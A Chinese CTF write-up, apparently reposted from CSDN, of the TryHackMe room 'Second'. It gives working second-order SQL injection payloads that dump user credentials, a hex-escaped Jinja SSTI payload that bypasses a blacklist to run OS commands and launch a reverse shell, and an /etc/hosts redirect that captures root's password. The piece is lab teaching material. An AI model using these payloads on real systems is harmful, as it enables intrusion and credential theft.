TryHackMe-Second(boot2root)

Second

排名第二并不是一件坏事,但在这种情况下并非如此。


端口扫描

循例nmap

在这里插入图片描述

Web枚举

进到8000

在这里插入图片描述

注册个账号进去,没啥用

二次注入

虽然登录框那里没有sql注入,但是可以尝试注册个非法账户名尝试二次注入

在这里插入图片描述

登录进去之后使用单词计数器

在这里插入图片描述

说明sql语句被执行了

直接利用,注册,这里爆出来回显点是2

' union select 1,2,3,4#-- -

在这里插入图片描述

接下来就是通过information_schema爆表爆字段

' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='website'#-- -
' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#-- -
' union select 1,group_concat(username,'||',password),3,4 from users#-- -

获得smokey的凭据

在这里插入图片描述

它可以登ssh

横向移动

在/opt/app下有一个flask

在这里插入图片描述

查看app.py看到服务开在5000端口,先转发出来

在这里插入图片描述

也是一样的登录框

查看源码发现它是直接把username插入页面,这意味着可以尝试SSTI

在这里插入图片描述

注册一个{ {1+1}}的用户名,登录得到了结果

在这里插入图片描述

虽然它有黑名单,但我们可以通过十六进制字符轻松绕过

在这里插入图片描述

在这里插入图片描述

payload:

{
   
   {request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

在这里插入图片描述

没问题,直接reverse shell

在这里插入图片描述

{
   
   {request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('/tmp/cmd')|attr('read')()}}

在这里插入图片描述

成功过来,同时拿到user flag

在这里插入图片描述

权限提升

note.txt

请尽快完成第二个项目现场。 确保 WAF 确实阻止了所有攻击,并且您使用正确的渲染模板来避免 SSTI。 你真的应该让你的网站像我的字计数器一样安全。

另外,我需要你在那个 PHP 站点上打气,我将登录以检查你的进度。

在/var/www下有个dev_site

在这里插入图片描述

传个pspy过去,发现有个定时任务

在这里插入图片描述

联系上面的note,那么smokey会定时带着凭据登录过去,但dev_site我们并没有权限修改

hosts有acl

在这里插入图片描述

查看acl发现hazel有写入权限

在这里插入图片描述

hosts里有那个域名,那么如果脚本通过域名请求,那么我们将可以直接修改hosts指向我们的攻击机

在这里插入图片描述

在这里插入图片描述

覆盖过去

在这里插入图片描述

内网还有一个8080端口,那个应该就是dev_site的了

本地端口转发直接转过来

在这里插入图片描述

wireshark抓包,得到凭据

在这里插入图片描述

这是root的密码,直接su过去

在这里插入图片描述

getroot

猜你喜欢

转载自blog.csdn.net/qq_54704239/article/details/130339715